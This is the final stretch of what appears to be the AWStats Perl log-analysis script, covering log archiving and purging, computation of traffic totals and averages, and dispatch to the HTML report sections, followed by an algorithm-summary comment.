20759			while (<LOG>) {
20760				if ( !print ARCHIVELOG $_ ) { $archiveok = 0; last; }
20761			}
20762			close(ARCHIVELOG)
20763			  || error("Archiving failed during closing archive: $!");
20764			if ($SaveDatabaseFilesWithPermissionsForEveryone) {
20765				chmod 0666, "$ArchiveFileName";
20766			}
20767			if ($Debug) { debug("End of archiving log file"); }
20768		}
20769
20770		# If rename and archive ok
20771		if ( $renameok && $archiveok ) {
20772			if ($Debug) { debug("Purge log file"); }
20773			my $bold   = ( $ENV{'GATEWAY_INTERFACE'} ? '<b>'    : '' );
20774			my $unbold = ( $ENV{'GATEWAY_INTERFACE'} ? '</b>'   : '' );
20775			my $br     = ( $ENV{'GATEWAY_INTERFACE'} ? '<br />' : '' );
20776			truncate( LOG, 0 )
20777			  || warning(
20778"Warning: $bold$PROG$unbold couldn't purge logfile \"$bold$LogFile$unbold\".$br\nChange your logfile permissions to allow write for your web server CGI process or change PurgeLogFile=1 into PurgeLogFile=0 in configure file and think to purge sometimes manually your logfile (just after running an update process to not loose any not already processed records your log file contains)."
20779			  );
20780		}
20781		close(LOG);
20782	}
20783
20784	if ( $DNSLookup == 1 && $DNSLookupAlreadyDone ) {
20785
20786		# DNSLookup warning
20787		my $bold   = ( $ENV{'GATEWAY_INTERFACE'} ? '<b>'    : '' );
20788		my $unbold = ( $ENV{'GATEWAY_INTERFACE'} ? '</b>'   : '' );
20789		my $br     = ( $ENV{'GATEWAY_INTERFACE'} ? '<br />' : '' );
20790		warning(
20791"Warning: $bold$PROG$unbold has detected that some hosts names were already resolved in your logfile $bold$DNSLookupAlreadyDone$unbold.$br\nIf DNS lookup was already made by the logger (web server), you should change your setup DNSLookup=$DNSLookup into DNSLookup=0 to increase $PROG speed."
20792		);
20793	}
20794	if ( $DNSLookup == 1 && $NbOfNewLines ) {
20795
20796		# Save new DNS last update cache file
20797		Save_DNS_Cache_File( \%TmpDNSLookup, "$DirData/$DNSLastUpdateCacheFile",
20798			"$FileSuffix" );    # Save into file using FileSuffix
20799	}
20800
20801	if ($EnableLockForUpdate) {
20802
20803		# Remove lock
20804		&Lock_Update(0);
20805
20806		# Restore signals handler
20807		$SIG{INT} = 'DEFAULT';    # 2
20808		                          #$SIG{KILL} = 'DEFAULT';	# 9
20809		                          #$SIG{TERM} = 'DEFAULT';	# 15
20810	}
20811
20812}
20813
20814# End of log processing if ($UPdateStats)
20815
20816#---------------------------------------------------------------------
20817# SHOW REPORT
20818#---------------------------------------------------------------------
20819
20820if ( scalar keys %HTMLOutput ) {
20821
20822	debug( "YearRequired=$YearRequired, MonthRequired=$MonthRequired", 2 );
20823	debug( "DayRequired=$DayRequired, HourRequired=$HourRequired",     2 );
20824
20825	# Define the NewLinkParams for main chart
20826	my $NewLinkParams = ${QueryString};
20827	$NewLinkParams =~ s/(^|&|&amp;)update(=\w*|$)//i;
20828	$NewLinkParams =~ s/(^|&|&amp;)output(=\w*|$)//i;
20829	$NewLinkParams =~ s/(^|&|&amp;)staticlinks(=\w*|$)//i;
20830	$NewLinkParams =~ s/(^|&|&amp;)framename=[^&]*//i;
20831	my $NewLinkTarget = '';
20832	if ($DetailedReportsOnNewWindows) {
20833		$NewLinkTarget = " target=\"awstatsbis\"";
20834	}
20835	if ( ( $FrameName eq 'mainleft' || $FrameName eq 'mainright' )
20836		&& $DetailedReportsOnNewWindows < 2 )
20837	{
20838		$NewLinkParams .= "&amp;framename=mainright";
20839		$NewLinkTarget = " target=\"mainright\"";
20840	}
20841	$NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
20842	$NewLinkParams =~ s/^&amp;//;
20843	$NewLinkParams =~ s/&amp;$//;
20844	if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&amp;"; }
20845
20846	if ( $FrameName ne 'mainleft' ) {
20847
20848		# READING DATA
20849		#-------------
20850		&Init_HashArray();
20851
20852		# Lecture des fichiers history / reading history file
20853		if ( $DatabaseBreak eq 'month' ) {
20854			for ( my $ix = 12 ; $ix >= 1 ; $ix-- ) {
20855				my $stringforload = '';
20856				my $monthix = sprintf( "%02s", $ix );
20857				if ( $MonthRequired eq 'all' || $monthix eq $MonthRequired ) {
20858					$stringforload = 'all';    # Read full history file
20859				}
20860				elsif ( ( $HTMLOutput{'main'} && $ShowMonthStats )
20861					|| $HTMLOutput{'alldays'} )
20862				{
20863					$stringforload =
20864					  'general time';          # Read general and time sections.
20865				}
20866				if ($stringforload) {
20867
20868					# On charge fichier / file is loaded
20869					&Read_History_With_TmpUpdate( $YearRequired, $monthix, '',
20870						'', 0, 0, $stringforload );
20871				}
20872			}
20873		}
20874		if ( $DatabaseBreak eq 'day' ) {
20875			my $stringforload = 'all';
20876			my $monthix       = sprintf( "%02s", $MonthRequired );
20877			my $dayix         = sprintf( "%02s", $DayRequired );
20878			&Read_History_With_TmpUpdate( $YearRequired, $monthix, $dayix, '',
20879				0, 0, $stringforload );
20880		}
20881		if ( $DatabaseBreak eq 'hour' ) {
20882			my $stringforload = 'all';
20883			my $monthix       = sprintf( "%02s", $MonthRequired );
20884			my $dayix         = sprintf( "%02s", $DayRequired );
20885			my $hourix        = sprintf( "%02s", $HourRequired );
20886			&Read_History_With_TmpUpdate( $YearRequired, $monthix, $dayix,
20887				$hourix, 0, 0, $stringforload );
20888		}
20889
20890	}
20891
20892	# HTMLHeadSection
20893	if ( $FrameName ne 'index' && $FrameName ne 'mainleft' ) {
20894		print "<a name=\"top\"></a>\n\n";
20895		my $newhead = $HTMLHeadSection;
20896		$newhead =~ s/\\n/\n/g;
20897		print "$newhead\n";
20898		print "\n";
20899	}
20900
20901	# Call to plugins' function AddHTMLBodyHeader
20902	foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLBodyHeader'} } ) {
20903		my $function = "AddHTMLBodyHeader_$pluginname";
20904		&$function();
20905	}
20906
20907	my $WIDTHMENU1 = ( $FrameName eq 'mainleft' ? $FRAMEWIDTH : 150 );
20908
20909	# TOP BAN
20910	#---------------------------------------------------------------------
20911	if ( $ShowMenu || $FrameName eq 'mainleft' ) {
20912		HTMLTopBanner($WIDTHMENU1);
20913	}
20914
20915	# Call to plugins' function AddHTMLMenuHeader
20916	foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLMenuHeader'} } ) {
20917		my $function = "AddHTMLMenuHeader_$pluginname";
20918		&$function();
20919	}
20920
20921	# MENU (ON LEFT IF FRAME OR TOP)
20922	#---------------------------------------------------------------------
20923	if ( $ShowMenu || $FrameName eq 'mainleft' ) {
20924		HTMLMenu($NewLinkParams, $NewLinkTarget);
20925	}
20926
20927	# Call to plugins' function AddHTMLMenuFooter
20928	foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLMenuFooter'} } ) {
20929		my $function = "AddHTMLMenuFooter_$pluginname";
20930		&$function();
20931	}
20932
20933	# Exit if left frame
20934	if ( $FrameName eq 'mainleft' ) {
20935		&html_end(0);
20936		exit 0;
20937	}
20938
20939
20940
20941# TotalVisits TotalUnique TotalPages TotalHits TotalBytes TotalHostsKnown TotalHostsUnknown
20942	$TotalUnique = $TotalVisits = $TotalPages = $TotalHits = $TotalBytes = 0;
20943	$TotalNotViewedPages = $TotalNotViewedHits = $TotalNotViewedBytes = 0;
20944	$TotalHostsKnown = $TotalHostsUnknown = 0;
20945	my $beginmonth = $MonthRequired;
20946	my $endmonth   = $MonthRequired;
20947	if ( $MonthRequired eq 'all' ) { $beginmonth = 1; $endmonth = 12; }
20948	for ( my $month = $beginmonth ; $month <= $endmonth ; $month++ ) {
20949		my $monthix = sprintf( "%02s", $month );
20950		$TotalHostsKnown += $MonthHostsKnown{ $YearRequired . $monthix }
20951		  || 0;    # Wrong in year view
20952		$TotalHostsUnknown += $MonthHostsUnknown{ $YearRequired . $monthix }
20953		  || 0;    # Wrong in year view
20954		$TotalUnique += $MonthUnique{ $YearRequired . $monthix }
20955		  || 0;    # Wrong in year view
20956		$TotalVisits += $MonthVisits{ $YearRequired . $monthix }
20957		  || 0;    # Not completely true
20958		$TotalPages += $MonthPages{ $YearRequired . $monthix } || 0;
20959		$TotalHits  += $MonthHits{ $YearRequired . $monthix }  || 0;
20960		$TotalBytes += $MonthBytes{ $YearRequired . $monthix } || 0;
20961		$TotalNotViewedPages += $MonthNotViewedPages{ $YearRequired . $monthix }
20962		  || 0;
20963		$TotalNotViewedHits += $MonthNotViewedHits{ $YearRequired . $monthix }
20964		  || 0;
20965		$TotalNotViewedBytes += $MonthNotViewedBytes{ $YearRequired . $monthix }
20966		  || 0;
20967	}
20968
20969	# TotalHitsErrors TotalBytesErrors
20970	$TotalHitsErrors  = 0;
20971	my $TotalBytesErrors = 0;
20972	foreach ( keys %_errors_h ) {
20973
20974		#		print "xxxx".$_." zzz".$_errors_h{$_};
20975		$TotalHitsErrors  += $_errors_h{$_};
20976		$TotalBytesErrors += $_errors_k{$_};
20977	}
20978
20979# TotalEntries (if not already specifically counted, we init it from _url_e hash table)
20980	if ( !$TotalEntries ) {
20981		foreach ( keys %_url_e ) { $TotalEntries += $_url_e{$_}; }
20982	}
20983
20984# TotalExits (if not already specifically counted, we init it from _url_x hash table)
20985	if ( !$TotalExits ) {
20986		foreach ( keys %_url_x ) { $TotalExits += $_url_x{$_}; }
20987	}
20988
20989# TotalBytesPages (if not already specifically counted, we init it from _url_k hash table)
20990	if ( !$TotalBytesPages ) {
20991		foreach ( keys %_url_k ) { $TotalBytesPages += $_url_k{$_}; }
20992	}
20993
20994# TotalKeyphrases (if not already specifically counted, we init it from _keyphrases hash table)
20995	if ( !$TotalKeyphrases ) {
20996		foreach ( keys %_keyphrases ) { $TotalKeyphrases += $_keyphrases{$_}; }
20997	}
20998
20999# TotalKeywords (if not already specifically counted, we init it from _keywords hash table)
21000	if ( !$TotalKeywords ) {
21001		foreach ( keys %_keywords ) { $TotalKeywords += $_keywords{$_}; }
21002	}
21003
21004# TotalSearchEnginesPages (if not already specifically counted, we init it from _se_referrals_p hash table)
21005	if ( !$TotalSearchEnginesPages ) {
21006		foreach ( keys %_se_referrals_p ) {
21007			$TotalSearchEnginesPages += $_se_referrals_p{$_};
21008		}
21009	}
21010
21011# TotalSearchEnginesHits (if not already specifically counted, we init it from _se_referrals_h hash table)
21012	if ( !$TotalSearchEnginesHits ) {
21013		foreach ( keys %_se_referrals_h ) {
21014			$TotalSearchEnginesHits += $_se_referrals_h{$_};
21015		}
21016	}
21017
21018# TotalRefererPages (if not already specifically counted, we init it from _pagesrefs_p hash table)
21019	if ( !$TotalRefererPages ) {
21020		foreach ( keys %_pagesrefs_p ) {
21021			$TotalRefererPages += $_pagesrefs_p{$_};
21022		}
21023	}
21024
21025# TotalRefererHits (if not already specifically counted, we init it from _pagesrefs_h hash table)
21026	if ( !$TotalRefererHits ) {
21027		foreach ( keys %_pagesrefs_h ) {
21028			$TotalRefererHits += $_pagesrefs_h{$_};
21029		}
21030	}
21031
21032# TotalDifferentPages (if not already specifically counted, we init it from _url_p hash table)
21033	$TotalDifferentPages ||= scalar keys %_url_p;
21034
21035# TotalDifferentKeyphrases (if not already specifically counted, we init it from _keyphrases hash table)
21036	$TotalDifferentKeyphrases ||= scalar keys %_keyphrases;
21037
21038# TotalDifferentKeywords (if not already specifically counted, we init it from _keywords hash table)
21039	$TotalDifferentKeywords ||= scalar keys %_keywords;
21040
21041# TotalDifferentSearchEngines (if not already specifically counted, we init it from _se_referrals_h hash table)
21042	$TotalDifferentSearchEngines ||= scalar keys %_se_referrals_h;
21043
21044# TotalDifferentReferer (if not already specifically counted, we init it from _pagesrefs_h hash table)
21045	$TotalDifferentReferer ||= scalar keys %_pagesrefs_h;
21046
21047# Define firstdaytocountaverage, lastdaytocountaverage, firstdaytoshowtime, lastdaytoshowtime
21048	my $firstdaytocountaverage =
21049	  $nowyear . $nowmonth . "01";    # Set day cursor to 1st day of month
21050	my $firstdaytoshowtime =
21051	  $nowyear . $nowmonth . "01";    # Set day cursor to 1st day of month
21052	my $lastdaytocountaverage =
21053	  $nowyear . $nowmonth . $nowday;    # Set day cursor to today
21054	my $lastdaytoshowtime =
21055	  $nowyear . $nowmonth . "31";       # Set day cursor to last day of month
21056	if ( $MonthRequired eq 'all' ) {
21057		$firstdaytocountaverage =
21058		  $YearRequired
21059		  . "0101";    # Set day cursor to 1st day of the required year
21060	}
21061	if ( ( $MonthRequired ne $nowmonth && $MonthRequired ne 'all' )
21062		|| $YearRequired ne $nowyear )
21063	{
21064		if ( $MonthRequired eq 'all' ) {
21065			$firstdaytocountaverage =
21066			  $YearRequired
21067			  . "0101";    # Set day cursor to 1st day of the required year
21068			$firstdaytoshowtime =
21069			  $YearRequired . "1201"
21070			  ;    # Set day cursor to 1st day of last month of required year
21071			$lastdaytocountaverage =
21072			  $YearRequired
21073			  . "1231";    # Set day cursor to last day of the required year
21074			$lastdaytoshowtime =
21075			  $YearRequired . "1231"
21076			  ;    # Set day cursor to last day of last month of required year
21077		}
21078		else {
21079			$firstdaytocountaverage =
21080			    $YearRequired
21081			  . $MonthRequired
21082			  . "01";    # Set day cursor to 1st day of the required month
21083			$firstdaytoshowtime =
21084			    $YearRequired
21085			  . $MonthRequired
21086			  . "01";    # Set day cursor to 1st day of the required month
21087			$lastdaytocountaverage =
21088			    $YearRequired
21089			  . $MonthRequired
21090			  . "31";    # Set day cursor to last day of the required month
21091			$lastdaytoshowtime =
21092			    $YearRequired
21093			  . $MonthRequired
21094			  . "31";    # Set day cursor to last day of the required month
21095		}
21096	}
21097	if ($Debug) {
21098		debug(
21099"firstdaytocountaverage=$firstdaytocountaverage, lastdaytocountaverage=$lastdaytocountaverage",
21100			1
21101		);
21102		debug(
21103"firstdaytoshowtime=$firstdaytoshowtime, lastdaytoshowtime=$lastdaytoshowtime",
21104			1
21105		);
21106	}
21107
21108	# Call to plugins' function AddHTMLContentHeader
21109	foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLContentHeader'} } )
21110	{
21111		# to add unique visitors & number of visits, by J Ruano @ CAPSiDE
21112		if ( $ShowDomainsStats =~ /U/i ) {
21113			print "<th bgcolor=\"#$color_u\" width=\"80\">$Message[11]</th>";
21114		}
21115		if ( $ShowDomainsStats =~ /V/i ) {
21116			print "<th bgcolor=\"#$color_v\" width=\"80\">$Message[10]</th>";
21117		}
21118
21119		my $function = "AddHTMLContentHeader_$pluginname";
21120		&$function();
21121	}
21122
21123	# Output individual frames or static pages for specific sections
21124	#-----------------------
21125	if ( scalar keys %HTMLOutput == 1 ) {
21126
21127		if ( $HTMLOutput{'alldomains'} ) {
21128			&HTMLShowDomains();
21129		}
21130		if ( $HTMLOutput{'allhosts'} || $HTMLOutput{'lasthosts'} ) {
21131			&HTMLShowHosts();
21132		}
21133		if ( $HTMLOutput{'unknownip'} ) {
21134			&HTMLShowHostsUnknown();
21135		}
21136		if ( $HTMLOutput{'allemails'} || $HTMLOutput{'lastemails'} ) {
21137			&HTMLShowEmailSendersChart( $NewLinkParams, $NewLinkTarget );
21138			&html_end(1);
21139		}
21140		if ( $HTMLOutput{'allemailr'} || $HTMLOutput{'lastemailr'} ) {
21141			&HTMLShowEmailReceiversChart( $NewLinkParams, $NewLinkTarget );
21142			&html_end(1);
21143		}
21144		if ( $HTMLOutput{'alllogins'} || $HTMLOutput{'lastlogins'} ) {
21145			&HTMLShowLogins();
21146		}
21147		if ( $HTMLOutput{'allrobots'} || $HTMLOutput{'lastrobots'} ) {
21148			&HTMLShowRobots();
21149		}
21150		if (   $HTMLOutput{'urldetail'}
21151			|| $HTMLOutput{'urlentry'}
21152			|| $HTMLOutput{'urlexit'} )
21153		{
21154			&HTMLShowURLDetail();
21155		}
21156		if ( $HTMLOutput{'unknownos'} ) {
21157			&HTMLShowOSUnknown($NewLinkTarget);
21158		}
21159		if ( $HTMLOutput{'unknownbrowser'} ) {
21160			&HTMLShowBrowserUnknown($NewLinkTarget);
21161		}
21162		if ( $HTMLOutput{'osdetail'} ) {
21163			&HTMLShowOSDetail();
21164		}
21165		if ( $HTMLOutput{'browserdetail'} ) {
21166			&HTMLShowBrowserDetail();
21167		}
21168		if ( $HTMLOutput{'refererse'} ) {
21169			&HTMLShowReferers($NewLinkTarget);
21170		}
21171		if ( $HTMLOutput{'refererpages'} ) {
21172			&HTMLShowRefererPages($NewLinkTarget);
21173		}
21174		if ( $HTMLOutput{'keyphrases'} ) {
21175			&HTMLShowKeyPhrases($NewLinkTarget);
21176		}
21177		if ( $HTMLOutput{'keywords'} ) {
21178			&HTMLShowKeywords($NewLinkTarget);
21179		}
21180		if ( $HTMLOutput{'downloads'} ) {
21181			&HTMLShowDownloads();
21182		}
21183		foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) {
21184			if ( $HTMLOutput{"errors$code"} ) {
21185				&HTMLShowErrorCodes($code);
21186			}
21187		}
21188
21189		# BY EXTRA SECTIONS
21190		#----------------------------
21191		HTMLShowExtraSections();
21192
21193		if ( $HTMLOutput{'info'} ) {
21194			# TODO Not yet available
21195			print "$Center<a name=\"info\">&nbsp;</a><br />";
21196			&html_end(1);
21197		}
21198
21199		# Print any plugins that have individual pages
21200		# TODO - change name, graph isn't so descriptive
21201		my $htmloutput = '';
21202		foreach my $key ( keys %HTMLOutput ) { $htmloutput = $key; }
21203		if ( $htmloutput =~ /^plugin_(\w+)$/ ) {
21204			my $pluginname = $1;
21205			print "$Center<a name=\"plugin_$pluginname\">&nbsp;</a><br />";
21206			my $function = "AddHTMLGraph_$pluginname";
21207			&$function();
21208			&html_end(1);
21209		}
21210	}
21211
21212	# Output main page
21213	#-----------------
21214	if ( $HTMLOutput{'main'} ) {
21215
21216		# Calculate averages
21217		my $max_p = 0;
21218		my $max_h = 0;
21219		my $max_k = 0;
21220		my $max_v = 0;
21221		my $average_nb = 0;
21222		foreach my $daycursor ($firstdaytocountaverage .. $lastdaytocountaverage )
21223		{
21224			$daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
21225			my $year  = $1;
21226			my $month = $2;
21227			my $day   = $3;
21228			if ( !DateIsValid( $day, $month, $year ) ) {
21229				next;
21230			}                 # If not an existing day, go to next
21231			$average_nb++;    # Increase number of day used to count
21232			$AverageVisits += ( $DayVisits{$daycursor} || 0 );
21233			$AveragePages += ( $DayPages{$daycursor}  || 0 );
21234			$AverageHits += ( $DayHits{$daycursor}   || 0 );
21235			$AverageBytes += ( $DayBytes{$daycursor}  || 0 );
21236		}
21237		if ($average_nb) {
21238			$AverageVisits = $AverageVisits / $average_nb;
21239			$AveragePages = $AveragePages / $average_nb;
21240			$AverageHits = $AverageHits / $average_nb;
21241			$AverageBytes = $AverageBytes / $average_nb;
21242			if ( $AverageVisits > $max_v ) { $max_v = $AverageVisits; }
21243			#if ($average_p > $max_p) { $max_p=$average_p; }
21244			if ( $AverageHits > $max_h ) { $max_h = $AverageHits; }
21245			if ( $AverageBytes > $max_k ) { $max_k = $AverageBytes; }
21246		}
21247		else {
21248			$AverageVisits = "?";
21249			$AveragePages = "?";
21250			$AverageHits = "?";
21251			$AverageBytes = "?";
21252		}
21253
21254		# SUMMARY
21255		#---------------------------------------------------------------------
21256		if ($ShowSummary) {
21257			&HTMLMainSummary();
21258		}
21259
21260		# BY MONTH
21261		#---------------------------------------------------------------------
21262		if ($ShowMonthStats) {
21263			&HTMLMainMonthly();
21264		}
21265
21266		print "\n<a name=\"when\">&nbsp;</a>\n\n";
21267
21268		# BY DAY OF MONTH
21269		#---------------------------------------------------------------------
21270		if ($ShowDaysOfMonthStats) {
21271			&HTMLMainDaily($firstdaytocountaverage, $lastdaytocountaverage,
21272						  $firstdaytoshowtime, $lastdaytoshowtime);
21273		}
21274
21275		# BY DAY OF WEEK
21276		#-------------------------
21277		if ($ShowDaysOfWeekStats) {
21278			&HTMLMainDaysofWeek($firstdaytocountaverage, $lastdaytocountaverage, $NewLinkParams, $NewLinkTarget);
21279		}
21280
21281		# BY HOUR
21282		#----------------------------
21283		if ($ShowHoursStats) {
21284			&HTMLMainHours($NewLinkParams, $NewLinkTarget);
21285		}
21286
21287		print "\n<a name=\"who\">&nbsp;</a>\n\n";
21288
21289		# BY COUNTRY/DOMAIN
21290		#---------------------------
21291		if ($ShowDomainsStats) {
21292			&HTMLMainCountries($NewLinkParams, $NewLinkTarget);
21293		}
21294
21295		# BY HOST/VISITOR
21296		#--------------------------
21297		if ($ShowHostsStats) {
21298			&HTMLMainHosts($NewLinkParams, $NewLinkTarget);
21299		}
21300
21301		# BY SENDER EMAIL
21302		#----------------------------
21303		if ($ShowEMailSenders) {
21304			&HTMLShowEmailSendersChart( $NewLinkParams, $NewLinkTarget );
21305		}
21306
21307		# BY RECEIVER EMAIL
21308		#----------------------------
21309		if ($ShowEMailReceivers) {
21310			&HTMLShowEmailReceiversChart( $NewLinkParams, $NewLinkTarget );
21311		}
21312
21313		# BY LOGIN
21314		#----------------------------
21315		if ($ShowAuthenticatedUsers) {
21316			&HTMLMainLogins($NewLinkParams, $NewLinkTarget);
21317		}
21318
21319		# BY ROBOTS
21320		#----------------------------
21321		if ($ShowRobotsStats) {
21322			&HTMLMainRobots($NewLinkParams, $NewLinkTarget);
21323		}
21324
21325		# BY WORMS
21326		#----------------------------
21327		if ($ShowWormsStats) {
21328			&HTMLMainWorms();
21329		}
21330
21331		print "\n<a name=\"how\">&nbsp;</a>\n\n";
21332
21333		# BY SESSION
21334		#----------------------------
21335		if ($ShowSessionsStats) {
21336			&HTMLMainSessions();
21337		}
21338
21339		# BY FILE TYPE
21340		#-------------------------
21341		if ($ShowFileTypesStats) {
21342			&HTMLMainFileType($NewLinkParams, $NewLinkTarget);
21343		}
21344
21345		# BY FILE SIZE
21346		#-------------------------
21347		if ($ShowFileSizesStats) {
21348			# TODO
21349		}
21350
21351		# BY DOWNLOADS
21352		#-------------------------
21353		if ($ShowDownloadsStats) {
21354			&HTMLMainDownloads($NewLinkParams, $NewLinkTarget);
21355		}
21356
21357		# BY PAGE
21358		#-------------------------
21359		if ($ShowPagesStats) {
21360			&HTMLMainPages($NewLinkParams, $NewLinkTarget);
21361		}
21362
21363		# BY OS
21364		#----------------------------
21365		if ($ShowOSStats) {
21366			&HTMLMainOS($NewLinkParams, $NewLinkTarget);
21367		}
21368
21369		# BY BROWSER
21370		#----------------------------
21371		if ($ShowBrowsersStats) {
21372			&HTMLMainBrowsers($NewLinkParams, $NewLinkTarget);
21373		}
21374
21375		# BY SCREEN SIZE
21376		#----------------------------
21377		if ($ShowScreenSizeStats) {
21378			&HTMLMainScreenSize();
21379		}
21380
21381		print "\n<a name=\"refering\">&nbsp;</a>\n\n";
21382
21383		# BY REFERENCE
21384		#---------------------------
21385		if ($ShowOriginStats) {
21386			&HTMLMainReferrers($NewLinkParams, $NewLinkTarget);
21387		}
21388
21389		print "\n<a name=\"keys\">&nbsp;</a>\n\n";
21390
21391		# BY SEARCH KEYWORDS AND/OR KEYPHRASES
21392		#-------------------------------------
21393		if ($ShowKeyphrasesStats || $ShowKeywordsStats){
21394			&HTMLMainKeys($NewLinkParams, $NewLinkTarget);
21395		}
21396
21397		print "\n<a name=\"other\">&nbsp;</a>\n\n";
21398
21399		# BY MISC
21400		#----------------------------
21401		if ($ShowMiscStats) {
21402			&HTMLMainMisc();
21403		}
21404
21405		# BY HTTP STATUS
21406		#----------------------------
21407		if ($ShowHTTPErrorsStats) {
21408			&HTMLMainHTTPStatus($NewLinkParams, $NewLinkTarget);
21409		}
21410
21411		# BY SMTP STATUS
21412		#----------------------------
21413		if ($ShowSMTPErrorsStats) {
21414			&HTMLMainSMTPStatus($NewLinkParams, $NewLinkTarget);
21415		}
21416
21417		# BY CLUSTER
21418		#----------------------------
21419		if ($ShowClusterStats) {
21420			&HTMLMainCluster($NewLinkParams, $NewLinkTarget);
21421		}
21422
21423		# BY EXTRA SECTIONS
21424		#----------------------------
21425		foreach my $extranum ( 1 .. @ExtraName - 1 ) {
21426			&HTMLMainExtra($NewLinkParams, $NewLinkTarget, $extranum);
21427		}
21428
21429		# close the HTML page
21430		&html_end(1);
21431	}
21432}
21433else {
21434	print "Jumped lines in file: $lastlinenb\n";
21435	if ($lastlinenb) { print " Found $lastlinenb already parsed records.\n"; }
21436	print "Parsed lines in file: $NbOfLinesParsed\n";
21437	print " Found $NbOfLinesDropped dropped records,\n";
21438	print " Found $NbOfLinesComment comments,\n";
21439 	print " Found $NbOfLinesBlank blank records,\n";
21440	print " Found $NbOfLinesCorrupted corrupted records,\n";
21441	print " Found $NbOfOldLines old records,\n";
21442	print " Found $NbOfNewLines new qualified records.\n";
21443}
21444
21445
21446#sleep 10;
21447
214480;    # Do not remove this line
21449
21450#-------------------------------------------------------
21451# ALGORITHM SUMMARY
21452#
21453# Read_Config();
21454# Check_Config() and Init variables
21455# if 'frame not index'
21456#	&Read_Language_Data($Lang);
21457#	if 'frame not mainleft'
21458#		&Read_Ref_Data();
21459#		&Read_Plugins();
21460# html_head
21461#
21462# If 'migrate'
21463#   We create/update tmp file with
21464#     &Read_History_With_TmpUpdate(year,month,day,hour,UPDATE,NOPURGE,"all");
21465#   Rename the tmp file
21466#   html_end
21467#   Exit
21468# End of 'migrate'
21469#
21470# Get last history file name
21471# Get value for $LastLine $LastLineNumber $LastLineOffset $LastLineChecksum with
21472#	&Read_History_With_TmpUpdate(lastyearbeforeupdate,lastmonthbeforeupdate,lastdaybeforeupdate,lasthourbeforeupdate,NOUPDATE,NOPURGE,"general");
21473#
21474# &Init_HashArray()
21475#
21476# If 'update'
21477#   Loop on each new line in log file
21478#     lastlineoffset=lastlineoffsetnext; lastlineoffsetnext=file pointer position
21479#     If line corrupted, skip --> next on loop
21480#	  Drop wrong virtual host --> next on loop
21481#     Drop wrong method/protocol --> next on loop
21482#     Check date --> next on loop
21483#     If line older than $LastLine, skip --> next on loop
21484#     So it's new line
21485#     $LastLine = time or record
21486#     Skip if url is /robots.txt --> next on loop
21487#     Skip line for @SkipHosts --> next on loop
21488#     Skip line for @SkipFiles --> next on loop
21489#     Skip line for @SkipUserAgent --> next on loop
21490#     Skip line for not @OnlyHosts --> next on loop
21491#     Skip line for not @OnlyUsers --> next on loop
21492#     Skip line for not @OnlyFiles --> next on loop
21493#     Skip line for not @OnlyUserAgent --> next on loop
21494#     So it's new line approved
21495#     If other month/year, create/update tmp file and purge data arrays with
21496#       &Read_History_With_TmpUpdate(lastprocessedyear,lastprocessedmonth,lastprocessedday,lastprocessedhour,UPDATE,PURGE,"all",lastlinenb,lastlineoffset,CheckSum($_));
21497#     Define a clean Url and Query (set urlwithnoquery, tokenquery and standalonequery and $field[$pos_url])
21498#     Define PageBool and extension
21499#     Analyze: Misc tracker --> complete %misc
21500#     Analyze: Hit on favorite icon --> complete %_misc, countedtraffic=1 (not counted anywhere)
21501#     If (!countedtraffic) Analyze: Worms --> complete %_worms, countedtraffic=2
21502#     If (!countedtraffic) Analyze: Status code --> complete %_error_, %_sider404, %_referrer404 --> countedtraffic=3
21503#     If (!countedtraffic) Analyze: Robots known --> complete %_robot, countedtraffic=4
21504#     If (!countedtraffic) Analyze: Robots unknown on robots.txt --> complete %_robot, countedtraffic=5
21505#     If (!countedtraffic) Analyze: File types - Compression
21506#     If (!countedtraffic) Analyze: Date - Hour - Pages - Hits - Kilo
21507#     If (!countedtraffic) Analyze: Login
21508#     If (!countedtraffic) Do DNS Lookup
21509#     If (!countedtraffic) Analyze: Country
21510#     If (!countedtraffic) Analyze: Host - Url - Session
21511#     If (!countedtraffic) Analyze: Browser - OS
21512#     If (!countedtraffic) Analyze: Referer
21513#     If (!countedtraffic) Analyze: EMail
21514#     Analyze: Cluster
21515#     Analyze: Extra (must be after 'Define a clean Url and Query')
21516#     If too many records, we flush data arrays with
21517#       &Read_History_With_TmpUpdate(lastprocessedyear,lastprocessedmonth,lastprocessedday,lastprocessedhour,UPDATE,PURGE,"all",lastlinenb,lastlineoffset,CheckSum($_));
21518#   End of loop
21519#
21520#   Create/update tmp file
21521#	  Seek to lastlineoffset in logfile to read and get last line into $_
21522#	  &Read_History_With_TmpUpdate(lastprocessedyear,lastprocessedmonth,lastprocessedday,lastprocessedhour,UPDATE,PURGE,"all",lastlinenb,lastlineoffset,CheckSum($_))
21523#   Rename all created tmp files
21524# End of 'update'
21525#
21526# &Init_HashArray()
21527#
21528# If 'output'
21529#   Loop for each month of required year
21530#     &Read_History_With_TmpUpdate($YearRequired,$monthloop,'','',NOUPDATE,NOPURGE,'all' or 'general time' if not required month)
21531#   End of loop
21532#   Show data arrays in HTML page
21533#   html_end
21534# End of 'output'
21535#-------------------------------------------------------
21536
21537#-------------------------------------------------------
21538# DNS CACHE FILE FORMATS SUPPORTED BY AWSTATS
21539# Format /etc/hosts     x.y.z.w hostname
21540# Format analog         UT/60 x.y.z.w hostname
21541#-------------------------------------------------------
21542
21543#-------------------------------------------------------
21544# IP Format (d=decimal on 16 bits, x=hexadecimal on 16 bits)
21545#
21546# 13.1.68.3						IPv4 (d.d.d.d)
21547# 0:0:0:0:0:0:13.1.68.3 		IPv6 (x:x:x:x:x:x:d.d.d.d)
21548# ::13.1.68.3
21549# 0:0:0:0:0:FFFF:13.1.68.3 		IPv6 (x:x:x:x:x:x:d.d.d.d)
21550# ::FFFF:13.1.68.3 				IPv6
21551#
21552# 1070:0:0:0:0:800:200C:417B 	IPv6
21553# 1070:0:0:0:0:800:200C:417B 	IPv6
21554# 1070::800:200C:417B 			IPv6
21555#-------------------------------------------------------
21556